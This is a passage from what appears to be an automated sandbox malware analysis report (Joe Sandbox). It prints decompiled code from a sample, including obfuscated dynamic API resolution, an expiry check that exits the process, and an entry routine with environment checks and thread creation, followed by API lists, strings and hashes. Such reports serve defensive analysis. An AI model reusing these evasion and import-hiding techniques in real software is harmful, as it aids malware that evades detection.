					_t241 =  *0x41aa34; // 0x74180000
					 *0x41a8e0 = GetProcAddress(_t241, _t55);
					_t330 =  *0x41a524; // 0x83a120
					_t57 =  *0x41aa34; // 0x74180000
					 *0x41a8c0 = GetProcAddress(_t57, _t330);
					_t242 =  *0x41a0a0; // 0x83b170
					_t331 =  *0x41aa34; // 0x74180000
					_t17 = GetProcAddress(_t331, _t242);
					 *0x41aa60 = _t17;
				}
				if( *0x41aa80 != 0) {
					_t41 =  *0x41a2fc; // 0x83b1b8
					_t235 =  *0x41aa80; // 0x6ea60000
					 *0x41a9c8 = GetProcAddress(_t235, _t41);
					_t324 =  *0x41a508; // 0x83b1d0
					_t43 =  *0x41aa80; // 0x6ea60000
					 *0x41a924 = GetProcAddress(_t43, _t324);
					_t236 =  *0x41a540; // 0x825e08
					_t325 =  *0x41aa80; // 0x6ea60000
					 *0x41aa30 = GetProcAddress(_t325, _t236);
					_t46 =  *0x41a214; // 0x83b328
					_t237 =  *0x41aa80; // 0x6ea60000
					 *0x41a888 = GetProcAddress(_t237, _t46);
					_t326 =  *0x41a794; // 0x83b348
					_t48 =  *0x41aa80; // 0x6ea60000
					 *0x41a99c = GetProcAddress(_t48, _t326);
					_t238 =  *0x41a7d0; // 0x83b230
					_t327 =  *0x41aa80; // 0x6ea60000
					_t17 = GetProcAddress(_t327, _t238);
					 *0x41aa08 = _t17;
				}
				if( *0x41a968 != 0) {
					_t37 =  *0x41a178; // 0x83b140
					_t233 =  *0x41a968; // 0x77470000
					 *0x41aa4c = GetProcAddress(_t233, _t37);
					_t322 =  *0x41a69c; // 0x83a4a0
					_t39 =  *0x41a968; // 0x77470000
					 *0x41a89c = GetProcAddress(_t39, _t322);
					_t234 =  *0x41a0e4; // 0x83b0b0
					_t323 =  *0x41a968; // 0x77470000
					_t17 = GetProcAddress(_t323, _t234);
					 *0x41a90c = _t17;
				}
				if( *0x41aa98 != 0) {
					_t34 =  *0x41a270; // 0x83b2c8
					_t232 =  *0x41aa98; // 0x75ed0000
					 *0x41aa00 = GetProcAddress(_t232, _t34);
					_t321 =  *0x41a378; // 0x83b0c8
					_t36 =  *0x41aa98; // 0x75ed0000
					_t17 = GetProcAddress(_t36, _t321);
					 *0x41aa84 = _t17;
				}
				if( *0x41a938 != 0) {
					_t226 =  *0x41a3cc; // 0x83a058
					_t316 =  *0x41a938; // 0x739e0000
					 *0x41a8dc = GetProcAddress(_t316, _t226);
					_t23 =  *0x41a2a0; // 0x83b2e8
					_t227 =  *0x41a938; // 0x739e0000
					 *0x41a928 = GetProcAddress(_t227, _t23);
					_t317 =  *0x41a308; // 0x83a1e8
					_t25 =  *0x41a938; // 0x739e0000
					 *0x41a9e8 = GetProcAddress(_t25, _t317);
					_t228 =  *0x41a150; // 0x83ac78
					_t318 =  *0x41a938; // 0x739e0000
					 *0x41aa2c = GetProcAddress(_t318, _t228);
					_t28 =  *0x41a4f4; // 0x83ab28
					_t229 =  *0x41a938; // 0x739e0000
					 *0x41aa0c = GetProcAddress(_t229, _t28);
					_t319 =  *0x41a7c8; // 0x83b668
					_t30 =  *0x41a938; // 0x739e0000
					 *0x41a9b8 = GetProcAddress(_t30, _t319);
					_t230 =  *0x41a380; // 0x83b288
					_t320 =  *0x41a938; // 0x739e0000
					 *0x41a8f0 = GetProcAddress(_t320, _t230);
					_t33 =  *0x41a7b8; // 0x83ad38
					_t231 =  *0x41a938; // 0x739e0000
					_t17 = GetProcAddress(_t231, _t33);
					 *0x41aa7c = _t17;
				}
				if( *0x41a97c != 0) {
					_t314 =  *0x41a174; // 0x83b5c8
					_t20 =  *0x41a97c; // 0x74510000
					 *0x41a98c = GetProcAddress(_t20, _t314);
					_t225 =  *0x41a3d8; // 0x83b3c8
					_t315 =  *0x41a97c; // 0x74510000
					_t17 = GetProcAddress(_t315, _t225);
					 *0x41a884 = _t17;
				}
				if( *0x41aa88 != 0) {
					_t18 =  *0x41a448; // 0x83aaf8
					_t224 =  *0x41aa88; // 0x6f040000
					_t19 = GetProcAddress(_t224, _t18);
					 *0x41a990 = _t19;
					return _t19;
				}
				return _t17;
			}

0x0040c4aa
0x0040c4b0
0x0040c4b6
0x0040c4c3
0x0040c4c8
0x0040c4cf
0x0040c4db
0x0040c4e0
0x0040c4e7
0x0040c4f4
0x0040c4f9
0x0040c4ff
0x0040c50c
0x0040c511
0x0040c518
0x0040c524
0x0040c529
0x0040c530
0x0040c53d
0x0040c542
0x0040c548
0x0040c555
0x0040c55a
0x0040c561
0x0040c56d
0x0040c572
0x0040c579
0x0040c586
0x0040c58b
0x0040c591
0x0040c59e
0x0040c5a3
0x0040c5aa
0x0040c5b6
0x0040c5bb
0x0040c5c2
0x0040c5cf
0x0040c5d4
0x0040c5da
0x0040c5e7
0x0040c5ec
0x0040c5f3
0x0040c5ff
0x0040c604
0x0040c60b
0x0040c618
0x0040c61d
0x0040c623
0x0040c630
0x0040c635
0x0040c63c
0x0040c648
0x0040c64d
0x0040c654
0x0040c661
0x0040c666
0x0040c66c
0x0040c679
0x0040c67e
0x0040c685
0x0040c691
0x0040c696
0x0040c69d
0x0040c6aa
0x0040c6af
0x0040c6b5
0x0040c6c2
0x0040c6c7
0x0040c6ce
0x0040c6da
0x0040c6df
0x0040c6e6
0x0040c6f3
0x0040c6f8
0x0040c6fe
0x0040c70b
0x0040c710
0x0040c717
0x0040c723
0x0040c728
0x0040c72f
0x0040c73c
0x0040c741
0x0040c747
0x0040c754
0x0040c759
0x0040c760
0x0040c76c
0x0040c771
0x0040c778
0x0040c785
0x0040c78a
0x0040c790
0x0040c79d
0x0040c7a2
0x0040c7a9
0x0040c7b5
0x0040c7ba
0x0040c7c1
0x0040c7ce
0x0040c7d3
0x0040c7d9
0x0040c7e6
0x0040c7eb
0x0040c7f2
0x0040c7fe
0x0040c803
0x0040c80a
0x0040c817
0x0040c81c
0x0040c822
0x0040c82f
0x0040c834
0x0040c83b
0x0040c847
0x0040c84c
0x0040c853
0x0040c860
0x0040c865
0x0040c86b
0x0040c878
0x0040c87d
0x0040c884
0x0040c890
0x0040c895
0x0040c89c
0x0040c8a9
0x0040c8ae
0x0040c8b4
0x0040c8c1
0x0040c8c6
0x0040c8cd
0x0040c8d9
0x0040c8de
0x0040c8e5
0x0040c8f2
0x0040c8f7
0x0040c8fd
0x0040c90a
0x0040c90f
0x0040c916
0x0040c922
0x0040c927
0x0040c92e
0x0040c93b
0x0040c940
0x0040c946
0x0040c953
0x0040c958
0x0040c95f
0x0040c96b
0x0040c970
0x0040c977
0x0040c984
0x0040c98e
0x0040c99a
0x0040c9a4
0x0040c9b1
0x0040c9bb
0x0040c9c8
0x0040c9d2
0x0040c9de
0x0040c9e8
0x0040c9f5
0x0040c9f5
0x0040c9fa
0x0040ca07
0x0040ca0c
0x0040ca12
0x0040ca18
0x0040ca1d
0x0040ca2a
0x0040ca2f
0x0040ca3c
0x0040ca41
0x0040ca47
0x0040ca4d
0x0040ca52
0x0040ca59
0x0040ca5f
0x0040ca64
0x0040ca6b
0x0040ca71
0x0040ca76
0x0040ca7c
0x0040ca82
0x0040ca87
0x0040ca8e
0x0040ca94
0x0040ca99
0x0040caa0
0x0040caa6
0x0040caab
0x0040cab1
0x0040cab7
0x0040cabc
0x0040cac3
0x0040cac9
0x0040cace
0x0040cad5
0x0040cadb
0x0040cae7
0x0040cae9
0x0040caef
0x0040cafc
0x0040cb06
0x0040cb13
0x0040cb1d
0x0040cb23
0x0040cb29
0x0040cb29
0x0040cb35
0x0040cb3b
0x0040cb42
0x0040cb4f
0x0040cb54
0x0040cb5a
0x0040cb67
0x0040cb6c
0x0040cb73
0x0040cb7f
0x0040cb84
0x0040cb8b
0x0040cb98
0x0040cb9d
0x0040cba3
0x0040cbb0
0x0040cbb5
0x0040cbbc
0x0040cbc8
0x0040cbcd
0x0040cbd4
0x0040cbe1
0x0040cbe6
0x0040cbec
0x0040cbf9
0x0040cbfe
0x0040cc05
0x0040cc11
0x0040cc1b
0x0040cc22
0x0040cc28
0x0040cc28
0x0040cc34
0x0040cc3a
0x0040cc41
0x0040cc4d
0x0040cc52
0x0040cc59
0x0040cc66
0x0040cc6b
0x0040cc71
0x0040cc7e
0x0040cc83
0x0040cc8a
0x0040cc96
0x0040cc9b
0x0040cca2
0x0040ccaf
0x0040ccb4
0x0040ccba
0x0040ccc7
0x0040cccc
0x0040ccd3
0x0040ccdf
0x0040cce4
0x0040cceb
0x0040ccf8
0x0040ccfd
0x0040cd03
0x0040cd10
0x0040cd15
0x0040cd1c
0x0040cd28
0x0040cd2d
0x0040cd34
0x0040cd3b
0x0040cd41
0x0040cd41
0x0040cd4d
0x0040cd53
0x0040cd59
0x0040cd66
0x0040cd6b
0x0040cd72
0x0040cd7e
0x0040cd83
0x0040cd8a
0x0040cd97
0x0040cd9c
0x0040cda2
0x0040cdaf
0x0040cdb4
0x0040cdbb
0x0040cdc7
0x0040cdd1
0x0040cdd8
0x0040cdde
0x0040cdde
0x0040cdea
0x0040cdf0
0x0040cdf7
0x0040ce03
0x0040ce08
0x0040ce0f
0x0040ce1c
0x0040ce21
0x0040ce27
0x0040ce34
0x0040ce39
0x0040ce40
0x0040ce4c
0x0040ce51
0x0040ce58
0x0040ce65
0x0040ce6a
0x0040ce70
0x0040ce7d
0x0040ce82
0x0040ce89
0x0040ce95
0x0040ce9a
0x0040cea1
0x0040ceae
0x0040ceb3
0x0040ceb9
0x0040cec6
0x0040cecb
0x0040ced2
0x0040cede
0x0040cee3
0x0040ceea
0x0040cef7
0x0040cefc
0x0040cf02
0x0040cf0f
0x0040cf14
0x0040cf1b
0x0040cf27
0x0040cf2c
0x0040cf33
0x0040cf3a
0x0040cf40
0x0040cf40
0x0040cf4c
0x0040cf4e
0x0040cf54
0x0040cf5b
0x0040cf61
0x0040cf61
0x0040cf6d
0x0040cf6f
0x0040cf76
0x0040cf7c
0x0040cf82
0x0040cf82
0x0040cf8e
0x0040cf90
0x0040cf97
0x0040cf9e
0x0040cfa4
0x0040cfa4
0x0040cfb0
0x0040cfb6
0x0040cfbc
0x0040cfc9
0x0040cfce
0x0040cfd5
0x0040cfe1
0x0040cfe6
0x0040cfed
0x0040cffa
0x0040cfff
0x0040d005
0x0040d012
0x0040d017
0x0040d01e
0x0040d02a
0x0040d02f
0x0040d036
0x0040d03d
0x0040d043
0x0040d043
0x0040d04f
0x0040d055
0x0040d05b
0x0040d068
0x0040d06d
0x0040d074
0x0040d080
0x0040d085
0x0040d08c
0x0040d099
0x0040d09e
0x0040d0a4
0x0040d0b1
0x0040d0b6
0x0040d0bd
0x0040d0c9
0x0040d0ce
0x0040d0d5
0x0040d0dc
0x0040d0e2
0x0040d0e2
0x0040d0ee
0x0040d0f0
0x0040d0f6
0x0040d103
0x0040d108
0x0040d10f
0x0040d11b
0x0040d120
0x0040d127
0x0040d12e
0x0040d134
0x0040d134
0x0040d140
0x0040d142
0x0040d148
0x0040d155
0x0040d15a
0x0040d161
0x0040d167
0x0040d16d
0x0040d16d
0x0040d179
0x0040d17f
0x0040d186
0x0040d193
0x0040d198
0x0040d19e
0x0040d1ab
0x0040d1b0
0x0040d1b7
0x0040d1c3
0x0040d1c8
0x0040d1cf
0x0040d1dc
0x0040d1e1
0x0040d1e7
0x0040d1f4
0x0040d1f9
0x0040d200
0x0040d20c
0x0040d211
0x0040d218
0x0040d225
0x0040d22a
0x0040d230
0x0040d237
0x0040d23d
0x0040d23d
0x0040d249
0x0040d24b
0x0040d252
0x0040d25e
0x0040d263
0x0040d26a
0x0040d271
0x0040d277
0x0040d277
0x0040d283
0x0040d285
0x0040d28b
0x0040d292
0x0040d298
0x00000000
0x0040d298
0x0040d29e

APIs

GetProcAddress.KERNEL32(75130000,0083A798), ref: 0040C4BD
GetProcAddress.KERNEL32(75130000,0083A7E0), ref: 0040C4D5
GetProcAddress.KERNEL32(75130000,00825988), ref: 0040C4EE
GetProcAddress.KERNEL32(75130000,0083AA08), ref: 0040C506
GetProcAddress.KERNEL32(75130000,0083AA20), ref: 0040C51E
GetProcAddress.KERNEL32(75130000,0083A978), ref: 0040C537
GetProcAddress.KERNEL32(75130000,0083AA38), ref: 0040C54F
GetProcAddress.KERNEL32(75130000,0083A990), ref: 0040C567
GetProcAddress.KERNEL32(75130000,0083A9C0), ref: 0040C580
GetProcAddress.KERNEL32(75130000,0083A9D8), ref: 0040C598
GetProcAddress.KERNEL32(75130000,0083B068), ref: 0040C5B0
GetProcAddress.KERNEL32(75130000,0083B050), ref: 0040C5C9
GetProcAddress.KERNEL32(75130000,0083ADC8), ref: 0040C5E1
GetProcAddress.KERNEL32(75130000,00825B48), ref: 0040C5F9
GetProcAddress.KERNEL32(75130000,0083AFC0), ref: 0040C612
GetProcAddress.KERNEL32(75130000,00825768), ref: 0040C62A
GetProcAddress.KERNEL32(75130000,00839F90), ref: 0040C642
GetProcAddress.KERNEL32(75130000,0083AF30), ref: 0040C65B
GetProcAddress.KERNEL32(75130000,00825A28), ref: 0040C673
GetProcAddress.KERNEL32(75130000,0083AD98), ref: 0040C68B
GetProcAddress.KERNEL32(75130000,008259A8), ref: 0040C6A4
GetProcAddress.KERNEL32(75130000,0083AE88), ref: 0040C6BC
GetProcAddress.KERNEL32(75130000,0083AE70), ref: 0040C6D4
GetProcAddress.KERNEL32(75130000,0083AD80), ref: 0040C6ED
GetProcAddress.KERNEL32(75130000,0083AF78), ref: 0040C705
GetProcAddress.KERNEL32(75130000,00825B08), ref: 0040C71D
GetProcAddress.KERNEL32(75130000,0083ADB0), ref: 0040C736
GetProcAddress.KERNEL32(75130000,0083ADE0), ref: 0040C74E
GetProcAddress.KERNEL32(75130000,0083ADF8), ref: 0040C766
GetProcAddress.KERNEL32(75130000,00825888), ref: 0040C77F
GetProcAddress.KERNEL32(75130000,0083AE58), ref: 0040C797
GetProcAddress.KERNEL32(75130000,0083AF48), ref: 0040C7AF
GetProcAddress.KERNEL32(75130000,0083AE10), ref: 0040C7C8
GetProcAddress.KERNEL32(75130000,0083AE28), ref: 0040C7E0
GetProcAddress.KERNEL32(75130000,0083B020), ref: 0040C7F8
GetProcAddress.KERNEL32(75130000,00825C68), ref: 0040C811
GetProcAddress.KERNEL32(75130000,00825CA8), ref: 0040C829
GetProcAddress.KERNEL32(75130000,0083AF90), ref: 0040C841
GetProcAddress.KERNEL32(75130000,0083AF18), ref: 0040C85A
GetProcAddress.KERNEL32(75130000,00825D68), ref: 0040C872
GetProcAddress.KERNEL32(75130000,0083A0D0), ref: 0040C88A
GetProcAddress.KERNEL32(75130000,0083AFA8), ref: 0040C8A3
GetProcAddress.KERNEL32(75130000,0083AF60), ref: 0040C8BB
GetProcAddress.KERNEL32(75130000,00825F08), ref: 0040C8D3
GetProcAddress.KERNEL32(75130000,00825E88), ref: 0040C8EC
GetProcAddress.KERNEL32(75130000,00825D08), ref: 0040C904
GetProcAddress.KERNEL32(75130000,0083AFF0), ref: 0040C91C
GetProcAddress.KERNEL32(75130000,00825B68), ref: 0040C935
GetProcAddress.KERNEL32(75130000,0083AFD8), ref: 0040C94D
GetProcAddress.KERNEL32(75130000,00825D28), ref: 0040C965
GetProcAddress.KERNEL32(75130000,00825B88), ref: 0040C97E
GetProcAddress.KERNEL32(75130000,CreateThread), ref: 0040C994
GetProcAddress.KERNEL32(75130000,GetEnvironmentVariableA), ref: 0040C9AB
GetProcAddress.KERNEL32(75130000,SetEnvironmentVariableA), ref: 0040C9C2
GetProcAddress.KERNEL32(75130000,lstrcpyA), ref: 0040C9D8
GetProcAddress.KERNEL32(75130000,lstrcpynA), ref: 0040C9EF
LoadLibraryA.KERNEL32(0083A8B8,?,00406BAD), ref: 0040CA01
LoadLibraryA.KERNELBASE(0083A7B0,?,00406BAD), ref: 0040CA12
LoadLibraryA.KERNEL32(0083A6F0,?,00406BAD), ref: 0040CA24
LoadLibraryA.KERNEL32(0083A708,?,00406BAD), ref: 0040CA36
LoadLibraryA.KERNELBASE(0083A7C8,?,00406BAD), ref: 0040CA47
LoadLibraryA.KERNELBASE(0083A738,?,00406BAD), ref: 0040CA59
LoadLibraryA.KERNELBASE(0083A750,?,00406BAD), ref: 0040CA6B
LoadLibraryA.KERNELBASE(0083A7F8,?,00406BAD), ref: 0040CA7C
LoadLibraryA.KERNELBASE(0083A810,?,00406BAD), ref: 0040CA8E
LoadLibraryA.KERNELBASE(0083A828,?,00406BAD), ref: 0040CAA0
LoadLibraryA.KERNELBASE(0083A840,?,00406BAD), ref: 0040CAB1
LoadLibraryA.KERNELBASE(0083A858,?,00406BAD), ref: 0040CAC3
LoadLibraryA.KERNELBASE(0083A9F0,?,00406BAD), ref: 0040CAD5
GetProcAddress.KERNEL32(779C0000,0083A560), ref: 0040CAF6
GetProcAddress.KERNEL32(779C0000,memset), ref: 0040CB0D
GetProcAddress.KERNEL32(779C0000,memcpy), ref: 0040CB23
GetProcAddress.KERNEL32(70000000,0083AF00), ref: 0040CB49
GetProcAddress.KERNEL32(70000000,00825CC8), ref: 0040CB61
GetProcAddress.KERNEL32(70000000,00825D88), ref: 0040CB79
GetProcAddress.KERNEL32(70000000,00825D48), ref: 0040CB92
GetProcAddress.KERNEL32(70000000,0083AEA0), ref: 0040CBAA
GetProcAddress.KERNEL32(70000000,00825EC8), ref: 0040CBC2
GetProcAddress.KERNEL32(70000000,00825DA8), ref: 0040CBDB
GetProcAddress.KERNEL32(70000000,00825C28), ref: 0040CBF3
GetProcAddress.KERNEL32(70000000,00825E48), ref: 0040CC0B
GetProcAddress.KERNEL32(70000000,InternetCrackUrlA), ref: 0040CC22
GetProcAddress.KERNEL32(74EA0000,0083B008), ref: 0040CC47
GetProcAddress.KERNEL32(74EA0000,0083AE40), ref: 0040CC60
GetProcAddress.KERNEL32(74EA0000,00825BA8), ref: 0040CC78
GetProcAddress.KERNEL32(74EA0000,00825C48), ref: 0040CC90
GetProcAddress.KERNEL32(74EA0000,0083AEB8), ref: 0040CCA9
GetProcAddress.KERNEL32(74EA0000,0083A520), ref: 0040CCC1
GetProcAddress.KERNEL32(74EA0000,00825EE8), ref: 0040CCD9
GetProcAddress.KERNEL32(74EA0000,00825BC8), ref: 0040CCF2
GetProcAddress.KERNEL32(74EA0000,0083AED0), ref: 0040CD0A
GetProcAddress.KERNEL32(74EA0000,0083B038), ref: 0040CD22
GetProcAddress.KERNEL32(74EA0000,0083AEE8), ref: 0040CD3B
GetProcAddress.KERNEL32(75530000,0083B098), ref: 0040CD60
GetProcAddress.KERNEL32(75530000,00825CE8), ref: 0040CD78
GetProcAddress.KERNEL32(75530000,0083B188), ref: 0040CD91
GetProcAddress.KERNEL32(75530000,00825BE8), ref: 0040CDA9
GetProcAddress.KERNEL32(75530000,0083B080), ref: 0040CDC1
GetProcAddress.KERNEL32(75530000,RegGetValueA), ref: 0040CDD8
GetProcAddress.KERNEL32(77620000,0083B110), ref: 0040CDFD
GetProcAddress.KERNEL32(77620000,0083B218), ref: 0040CE16
GetProcAddress.KERNEL32(77620000,00825C88), ref: 0040CE2E
GetProcAddress.KERNEL32(77620000,00825C08), ref: 0040CE46
GetProcAddress.KERNEL32(77620000,0083B1A0), ref: 0040CE5F
GetProcAddress.KERNEL32(77620000,0083A4E0), ref: 0040CE77
GetProcAddress.KERNEL32(77620000,0083B158), ref: 0040CE8F
GetProcAddress.KERNEL32(77620000,0083B0E0), ref: 0040CEA8
GetProcAddress.KERNEL32(77620000,0083B0F8), ref: 0040CEC0
GetProcAddress.KERNEL32(77620000,0083B1E8), ref: 0040CED8
GetProcAddress.KERNEL32(77620000,0083A530), ref: 0040CEF1
GetProcAddress.KERNEL32(77620000,00825DC8), ref: 0040CF09
GetProcAddress.KERNEL32(77620000,0083B128), ref: 0040CF21
GetProcAddress.KERNEL32(77620000,0083B200), ref: 0040CF3A
GetProcAddress.KERNELBASE(6F680000,008283C8), ref: 0040CF5B
GetProcAddress.KERNEL32(774C0000,00825E28), ref: 0040CF7C
GetProcAddress.KERNEL32(77730000,00825DE8), ref: 0040CF9E
GetProcAddress.KERNEL32(74180000,0083A0F8), ref: 0040CFC3
GetProcAddress.KERNEL32(74180000,00825E68), ref: 0040CFDB
GetProcAddress.KERNEL32(74180000,0083A030), ref: 0040CFF4
GetProcAddress.KERNEL32(74180000,00825EA8), ref: 0040D00C
GetProcAddress.KERNEL32(74180000,0083A120), ref: 0040D024
GetProcAddress.KERNEL32(74180000,0083B170), ref: 0040D03D
GetProcAddress.KERNEL32(6EA60000,0083B1B8), ref: 0040D062
GetProcAddress.KERNEL32(6EA60000,0083B1D0), ref: 0040D07A
GetProcAddress.KERNEL32(6EA60000,00825E08), ref: 0040D093
GetProcAddress.KERNEL32(6EA60000,0083B328), ref: 0040D0AB
GetProcAddress.KERNEL32(6EA60000,0083B348), ref: 0040D0C3
GetProcAddress.KERNEL32(6EA60000,0083B230), ref: 0040D0DC
GetProcAddress.KERNEL32(77470000,0083B140), ref: 0040D0FD
GetProcAddress.KERNEL32(77470000,0083A4A0), ref: 0040D115
GetProcAddress.KERNEL32(77470000,0083B0B0), ref: 0040D12E
GetProcAddress.KERNEL32(75ED0000,0083B2C8), ref: 0040D14F
GetProcAddress.KERNEL32(75ED0000,0083B0C8), ref: 0040D167
GetProcAddress.KERNEL32(739E0000,0083A058), ref: 0040D18D
GetProcAddress.KERNEL32(739E0000,0083B2E8), ref: 0040D1A5
GetProcAddress.KERNEL32(739E0000,0083A1E8), ref: 0040D1BD
GetProcAddress.KERNEL32(739E0000,0083AC78), ref: 0040D1D6
GetProcAddress.KERNEL32(739E0000,0083AB28), ref: 0040D1EE
GetProcAddress.KERNEL32(739E0000,0083B668), ref: 0040D206
GetProcAddress.KERNEL32(739E0000,0083B288), ref: 0040D21F
GetProcAddress.KERNEL32(739E0000,0083AD38), ref: 0040D237
GetProcAddress.KERNEL32(74510000,0083B5C8), ref: 0040D258
GetProcAddress.KERNEL32(74510000,0083B3C8), ref: 0040D271
GetProcAddress.KERNEL32(6F040000,0083AAF8), ref: 0040D292

Strings

CreateThread, xrefs: 0040C989
lstrcpyA, xrefs: 0040C9CD
RegGetValueA, xrefs: 0040CDCC
InternetCrackUrlA, xrefs: 0040CC16
lstrcpynA, xrefs: 0040C9E3
memcpy, xrefs: 0040CB18
memset, xrefs: 0040CB01
GetEnvironmentVariableA, xrefs: 0040C99F
SetEnvironmentVariableA, xrefs: 0040C9B6

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateThread$GetEnvironmentVariableA$InternetCrackUrlA$RegGetValueA$SetEnvironmentVariableA$lstrcpyA$lstrcpynA$memcpy$memset
API String ID: 2238633743-3231020739
Opcode ID: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction ID: 9bcd284fde1af5afdb9725a1d8ee7eb933c8521e96d2c529a01ce852b5064599
Opcode Fuzzy Hash: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction Fuzzy Hash: 9C820FF9523200EFC345DFA8EE889D637B9BB4C251715CA39E509C3661D73894A1CF2A

Uniqueness

Uniqueness Score: -1.00%

Function 006C003C, Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 006C024D

Strings

cess, xrefs: 006C018D
kernel32.dll, xrefs: 006C008F, 006C0095

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 65edf40a287a90c5f3e66935bb64e8329cc55d260c619c3b4c93ff5e93cb011f
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: B8525874A01229DFDB64CF58C985BA8BBB1BF09304F1480D9E94DAB351DB30AE95DF14

Uniqueness

Uniqueness Score: -1.00%

Function 004068F0, Relevance: 9.1, APIs: 6, Instructions: 75
timestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E004068F0(void* __ecx, void* __eflags) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				char _v284;
				struct _SYSTEMTIME _v300;
				struct _SYSTEMTIME _v316;
				int _t45;
				char* _t52;
				intOrPtr _t57;
				void* _t66;

				E0040B720( &_v284, 0x104);
				_v300.wYear = 0;
				_v300.wMonth = 0;
				_v300.wDay = 0;
				_v300.wMinute = 0;
				_v300.wMilliseconds = 0;
				_v316.wYear = 0;
				_v316.wMonth = 0;
				_v316.wDay = 0;
				_v316.wMinute = 0;
				_v316.wMilliseconds = 0;
				_v20.dwLowDateTime = 0;
				_v20.dwHighDateTime = 0;
				_v12.dwLowDateTime = 0;
				_v12.dwHighDateTime = 0;
				GetSystemTime( &_v300);
				_t57 =  *0x41a60c; // 0x8258e8
				 *0x41aa24( &_v284, _t57);
				_t52 =  *0x41a104; // 0x8257c8
				sscanf( &_v284, _t52,  &(_v316.wDay),  &(_v316.wMonth),  &_v316,  &(_v316.wHour),  &(_v316.wMinute),  &(_v316.wSecond));
				SystemTimeToFileTime( &_v300,  &_v20);
				_t45 = SystemTimeToFileTime( &_v316,  &_v12);
				_t66 = _v20.dwHighDateTime - _v12.dwHighDateTime;
				if(_t66 >= 0 && (_t66 > 0 || _v20.dwLowDateTime > _v12.dwLowDateTime)) {
					ExitProcess(0); // executed
				}
				return _t45;
			}

0x00406905
0x0040690c
0x00406915
0x0040691b
0x00406921
0x00406927
0x00406930
0x00406939
0x0040693f
0x00406945
0x0040694b
0x00406952
0x0040695b
0x0040695e
0x00406967
0x00406971
0x00406977
0x00406985
0x004069b5
0x004069c3
0x004069d7
0x004069e8
0x004069f1
0x004069f4
0x00406a02
0x00406a02
0x00406a0b

APIs

GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
lstrcat.KERNEL32(?,008258E8), ref: 00406985
sscanf.NTDLL ref: 004069C3
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
ExitProcess.KERNEL32 ref: 00406A02

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Time$System$File$ExitProcesslstrcatsscanf
String ID:
API String ID: 2797641603-0
Opcode ID: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction ID: e1bd8726115975e68c113ba4c939dbea9fdba7e28f8895f6eace496917ca047b
Opcode Fuzzy Hash: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction Fuzzy Hash: A531AEB5D1121CABCB58DF94DD85ADEB7B9AF48300F0085EAE10AA3150EB345B94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406B60, Relevance: 6.0, APIs: 4, Instructions: 49
threadsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			_entry_() {
				void* _t5;
				void* _t8;
				void* _t9;
				void* _t10;
				void* _t16;

				E0040C290(_t16); // executed
				E00401770(); // executed
				E0040C2E0(); // executed
				E00401050(_t16, 0x3e8); // executed
				_t5 = E00406AA0(); // executed
				_t19 = _t5;
				if(_t5 != 0) {
					_t8 = E00406AF0(_t19); // executed
					if(_t8 == 0) {
						_t9 = E00406A10(); // executed
						if(_t9 != 0) {
							_t10 = E00406B30(); // executed
							_t22 = _t10;
							if(_t10 != 0) {
								E00401940(); // executed
								E0040C4A0(); // executed
								CreateThread(0, 0, E00401020, 0, 0, 0); // executed
								E004068F0(_t16, _t22); // executed
								CreateThread(0, 0, E00406650, 0, 0, 0);
							}
						}
					}
				}
				while(1 != 0) {
					if( *0x41abb4 == 0) {
						Sleep(0x3e7);
						continue;
					}
					break;
				}
				E0040BFA0(_t16);
				ExitProcess(0);
			}

0x00406b63
0x00406b68
0x00406b6d
0x00406b77
0x00406b7f
0x00406b84
0x00406b86
0x00406b88
0x00406b8f
0x00406b91
0x00406b98
0x00406b9a
0x00406b9f
0x00406ba1
0x00406ba3
0x00406ba8
0x00406bbc
0x00406bc2
0x00406bd6
0x00406bd6
0x00406ba1
0x00406b98
0x00406b8f
0x00406bdc
0x00406bec
0x00406bf5
0x00000000
0x00406bf5
0x00000000
0x00406bee
0x00406bfd
0x00406c04

APIs

Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,00828130), ref: 0040C332
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,00825100), ref: 0040C34A
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,008258A8), ref: 0040C362
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,00828088), ref: 0040C37B
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(75130000,00827E78), ref: 0040C393
